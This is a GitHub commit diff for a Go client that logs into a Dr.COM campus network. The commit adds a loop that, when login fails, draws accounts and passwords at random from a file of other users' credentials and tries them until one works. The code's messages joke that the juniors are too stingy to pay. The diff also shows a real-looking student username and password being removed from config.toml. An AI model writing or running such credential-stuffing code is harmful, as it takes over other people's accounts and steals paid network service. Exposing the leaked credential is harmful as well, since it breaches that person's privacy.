Skip to content
This repository was archived by the owner on May 5, 2023. It is now read-only.

Commit 507cf9b

Browse files
committed
Feature: add fuzzy test for drcom version
1 parent ccf0058 commit 507cf9b

6 files changed

Lines changed: 380 additions & 322 deletions

File tree

ballet.ico

361 KB
Binary file not shown.

build.sh

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,12 @@ mkdir -p ./${release_dir}
3737
rm -rf ./${release_dir}/*
3838

3939

40-
flags="-X main.buildstamp=`date -u '+%Y-%m-%d_%I:%M:%S%p'` -X main.githash=`git rev-parse HEAD`"
40+
#flags="-X main.buildstamp=`date -u '+%Y-%m-%d_%I:%M:%S%p'` -X main.githash=`git rev-parse HEAD`"
41+
flags="-X main.buildstamp=`date -u '+%Y-%m-%d_%I:%M:%S%p'` -X main.githash=`git describe --long --dirty --abbrev=14`"
4142
echo ${flags}
43+
go generate
4244
go build -ldflags "$flags" -x -o ${release_dir}/drcom_hp.exe ccmu_fuzzy.go
45+
go generate
4346
go build -ldflags "$flags" -x -o ${release_dir}/poemoon.exe ccmu_dr.go
4447

4548
cp ./config.toml ./${release_dir}/

ccmu_dr.go

Lines changed: 64 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -6,23 +6,19 @@
66
// Author: ms2008vip@gmail.com at 2017/8/15 11:10:02
77

88

9-
//go:generate goversioninfo -icon=cover.ico
9+
//go:generate goversioninfo -icon=ballet.ico
1010

1111
package main
1212

1313
import (
1414
"fmt"
15-
_ "net/http"
16-
_ "net/url"
1715
"os"
1816
"bufio"
19-
_ "io/ioutil"
2017
"strings"
21-
_ "strconv"
22-
_ "math/rand"
18+
"math/rand"
2319
"time"
2420
"flag"
25-
_ "github.com/toqueteos/webbrowser"
21+
"github.com/toqueteos/webbrowser"
2622

2723
"./conf"
2824
"./utils"
@@ -44,35 +40,86 @@ func main() {
4440
args := os.Args
4541
if len(args)==2 && (args[1]=="--version" || args[1] =="-v") {
4642
fmt.Printf("Git Commit Hash: %s\n", githash)
47-
fmt.Printf("UTC Build Time: %s\n", buildstamp)
43+
fmt.Printf("UTC Build Time : %s\n", buildstamp)
4844
return
4945
}
5046

51-
var err error
52-
5347
flag.Parse()
5448
if err := conf.Init(); err != nil {
5549
panic(err)
5650
}
5751

58-
// 1. challenge
5952
svr := service.New(conf.Conf)
60-
if err = svr.Challenge(svr.ChallengeTimes); err != nil {
53+
userList := fileTolines(FILE)
54+
rand.Seed(time.Now().Unix())
55+
count := 1
56+
//fmt.Println(userList)
57+
58+
// 1. challenge
59+
if err := svr.Challenge(svr.ChallengeTimes); err != nil {
6160
log.Error("drcomSvc.Challenge(%d) error(%v)", svr.ChallengeTimes, err)
6261
return
6362
}
6463

6564
// 2. login
66-
if err = svr.Login(); err != nil {
65+
if err := svr.Login(); err != nil {
6766
log.Error("drcomSvc.Login() error(%v)", err)
68-
return
67+
68+
for {
69+
70+
if count == 1 && len(userList) == 1 && strings.TrimSpace(userList[0]) == "\xef\xbb\xbf" {
71+
fmt.Println("密码库是空的!")
72+
fmt.Println("按下「CTRL + C」终止本程序")
73+
fmt.Scanln()
74+
return
75+
} else if len(userList) == 0 {
76+
fmt.Println("你的学弟学妹们都太抠了,连费都舍不得充!")
77+
fmt.Println("按下「CTRL + C」终止本程序")
78+
fmt.Scanln()
79+
return
80+
}
81+
82+
// 速率限制
83+
// if count%1000 == 0 {
84+
// fmt.Printf("processed at least %d iterms\n", count)
85+
// <- time.After(5 * time.Second)
86+
// fmt.Println("go on....")
87+
// }
88+
89+
n := rand.Intn(len(userList))
90+
line := userList[n]
91+
92+
// 将测试过的用户移除出当前密码库
93+
userList = append(userList[:n], userList[n+1:]...)
94+
count++
95+
96+
//userInfo := strings.Split(line, "\t")
97+
userInfo := strings.Fields(line)
98+
if len(userInfo) < 2 {
99+
log.Critical("shit happens: unrecognized user info format: %v", userInfo)
100+
continue
101+
}
102+
account := userInfo[0]
103+
password := userInfo[len(userInfo)-1]
104+
105+
// update the account info
106+
svr.Conf.Username = account
107+
svr.Conf.Password = password
108+
109+
if err := svr.Login(); err != nil {
110+
log.Error("drcomSvc.Login() error(%v)", err)
111+
} else {
112+
break
113+
}
114+
}
69115
}
70116

117+
webbrowser.Open(URL)
71118
// 3. keepalive
72-
count := 0
119+
ping_times := 0
73120
for {
74-
count++
75-
if err = svr.Alive(); err != nil {
121+
ping_times++
122+
if err := svr.Alive(); err != nil {
76123
log.Error("drcomSvc.Alive() error(%v)", err)
77124
return
78125
}

config.toml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ version = "1.0"
22
authServer = "192.168.3.4"
33
# do not modify
44
port = "61440"
5-
username = "122015000129"
6-
password = "19910629"
5+
username = "PING"
6+
password = "PONG"
77
# eg: "2a:1b:4c:fe:a9:e9"
88
mac = "00:0c:29:ef:01:32"

0 commit comments

Comments
 (0)